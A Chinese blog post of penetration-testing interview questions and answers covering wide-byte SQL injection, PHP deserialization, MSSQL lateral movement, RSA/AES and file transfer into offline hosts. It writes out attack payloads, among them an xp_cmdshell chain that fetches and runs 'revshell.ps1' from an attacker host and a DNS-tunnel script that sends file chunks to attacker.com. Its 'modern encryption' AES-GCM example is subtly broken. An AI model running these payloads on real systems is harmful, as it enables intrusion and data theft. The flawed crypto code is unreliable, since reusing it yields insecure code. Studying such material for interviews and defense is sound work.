2025年渗透测试面试题总结-某深信服 -安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[深信服 -安全工程师](#深信服 -安全工程师)

一、宽字节注入原理与编码影响

(一)技术原理

(二)编码范围扩展

(三)防御方案

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制

(二)攻击面扩展

(三)防御体系ini

三、MSSQL服务权限横向渗透

(一)权限提升路径

(二)横向移动技术

四、密码学算法核心原理

(一)RSA算法流程

(二)AES算法架构

五、不出网环境文件传输方案

(一)协议隧道技术

(二)存储介质利用

六、防御体系构建建议


深信服 -安全工程师

复制代码
宽字节注入原理,是否只有gbk编码存在宽字节注入
php反序列化原理
内网一台机器,只有一个mssql的服务账户权限,如何进行后续的利用
ras算法原理/aes算法原理
一台机器不能出网,如何把一个exe文件放到对应的目标机器上去(dmz)

一、宽字节注入原理与编码影响

(一)技术原理

宽字节注入是一种利用数据库字符集转换漏洞的SQL注入技术,核心逻辑在于:

  1. 多字节编码(如GBK)将两个连续字节解析为一个中文字符
  2. 当转义符号'被转义为\'时(0x5c),若前导字节与0x5c组成合法GBK字符(如0xbf5c对应"縗")
  3. 导致单引号逃逸闭合,形成注入点

典型攻击Payload:

复制代码
sql`%bf%27 UNION SELECT 1,version()-- `

此时数据库解析为:

复制代码
0xbf5c27 → 縗'(0x5c被"吞噬")
(二)编码范围扩展
  1. 主要影响编码
    • GBK系列(GB2312/GB18030)
    • BIG5(繁体中文)
    • Shift-JIS(日文)
    • EUC-KR(韩文)
  2. UTF-8的防御性
    • 采用3-4字节编码机制
    • 严格编码校验机制
    • 0x5c无法与前导字节构成合法字符
(三)防御方案
复制代码
php`// 最佳实践组合 $db->set_charset("utf8mb4"); $stmt = $db->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $input);`

二、PHP反序列化漏洞深度解析

(一)漏洞形成机制
复制代码
php`class VulnerableClass { private $data; public function __wakeup() { system($this->data); } } // 攻击者构造的序列化数据 $payload = 'O:15:"VulnerableClass":1:{s:4:"data";s:9:"calc.exe";}'; unserialize($payload); // 触发命令执行 `

关键触发点

  • __destruct():对象销毁时自动执行
  • __wakeup():反序列化时初始化操作
  • __toString():对象被当作字符串使用时触发
(二)攻击面扩展
  1. POP链构造

    • 通过多个类的属性串联调用链
    • 利用魔术方法跳转执行流程
  2. Phar协议利用

    复制代码
    php`file_exists("phar://malicious.phar/test.txt"); `

    通过文件操作函数触发phar反序列化

(三)防御体系ini
复制代码
`; php.ini 配置加固 session.serialize_handler = php_serialize disable_functions = system,exec `

三、MSSQL服务权限横向渗透

(一)权限提升路径
  1. 存储过程利用

    复制代码
    sql`EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';`
  2. CLR组件攻击 :sql

    复制代码
    `CREATE ASSEMBLY ExploitAssembly FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;`
(二)横向移动技术
  1. 数据库链路渗透

    复制代码
    sql`SELECT * FROM OPENROWSET('SQLNCLI', 'Server=192.168.1.10;Trusted_Connection=yes;', 'EXEC master..xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString("http://attacker/revshell.ps1")''') `
  2. 凭证提取技术

    • 使用PowerUpSQL提取Linked Server凭据
    • 解密MSSQL保存的自动化任务密码

四、密码学算法核心原理

(一)RSA算法流程
  1. 密钥生成

    复制代码
    n = p*q (p,q为大素数)
    φ(n) = (p-1)(q-1)
    e选择满足1<e<φ(n)且与φ(n)互质 
    d ≡ e⁻¹ mod φ(n)
  2. 加密过程

    复制代码
    C ≡ M^e mod n 
    M ≡ C^d mod n 
(二)AES算法架构
  1. 轮函数组成

    复制代码
    python`def Round(state, round_key): SubBytes(state) ShiftRows(state) MixColumns(state) AddRoundKey(state, round_key)`
  2. 密钥扩展

    • 使用Rijndael密钥调度算法
    • 每轮生成128/192/256位新密钥

五、不出网环境文件传输方案

(一)协议隧道技术
  1. DNS隧道传输

    复制代码
    powershell`# 发送端 $bytes = [System.IO.File]::ReadAllBytes("payload.exe") $b64 = [Convert]::ToBase64String($bytes) foreach ($chunk in ($b64 -split '(\w{63})')){ Resolve-DnsName "$chunk.attacker.com" -Type A } # 接收端 tshark -i eth0 -Y "dns.qry.name contains attacker.com" -T fields -e dns.qry.name `
  2. ICMP封装传输

    复制代码
    bash`# 发送端 icmpsh_m.py -t 目标IP -s -d payload.exe # 接收端 icmpsh_r.py -i eth0 `
(二)存储介质利用
  1. 数据库BLOB导出

    复制代码
    sql`INSERT INTO temp_table (data) VALUES (0x4D5A9000...) BCP "SELECT data FROM temp_table" queryout "C:\payload.exe" -S localhost -U sa -P password `
  2. Windows备用数据流 :cmd

    复制代码
    `type payload.exe > normal.txt:secret.exe mklink /H loader.exe normal.txt:secret.exe `

六、防御体系构建建议

  1. 纵深防御架构

    • 网络层:VLAN划分+ACL白名单
    • 主机层:Credential Guard+AppLocker
    • 应用层:CSP+输入净化
  2. 加密算法实践

    复制代码
    python`# 现代加密建议 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding def aes_encrypt(key, plaintext): padder = padding.PKCS7(128).padder() cipher = Cipher(algorithms.AES(key), modes.GCM(nonce)) encryptor = cipher.encryptor() return encryptor.update(padder.update(plaintext)) + encryptor.finalize() `
相关推荐
kali-Myon28 分钟前
NewStarCTF2025-Week1-Misc
安全·ctf·misc
Python图像识别2 小时前
71_基于深度学习的布料瑕疵检测识别系统(yolo11、yolov8、yolov5+UI界面+Python项目源码+模型+标注好的数据集)
python·深度学习·yolo
千码君20164 小时前
React Native:从react的解构看编程众多语言中的解构
java·javascript·python·react native·react.js·解包·解构
淮北4944 小时前
windows安装minicoda
windows·python·conda
TDengine (老段)5 小时前
TDengine 数学函数 DEGRESS 用户手册
大数据·数据库·sql·物联网·时序数据库·iot·tdengine
TDengine (老段)5 小时前
TDengine 数学函数 GREATEST 用户手册
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
安当加密5 小时前
云原生时代的数据库字段加密:在微服务与 Kubernetes 中实现合规与敏捷的统一
数据库·微服务·云原生
爱喝白开水a6 小时前
LangChain 基础系列之 Prompt 工程详解:从设计原理到实战模板_langchain prompt
开发语言·数据库·人工智能·python·langchain·prompt·知识图谱
想ai抽6 小时前
深入starrocks-多列联合统计一致性探查与策略(YY一下)
java·数据库·数据仓库
武子康6 小时前
Java-152 深入浅出 MongoDB 索引详解 从 MongoDB B-树 到 MySQL B+树 索引机制、数据结构与应用场景的全面对比分析
java·开发语言·数据库·sql·mongodb·性能优化·nosql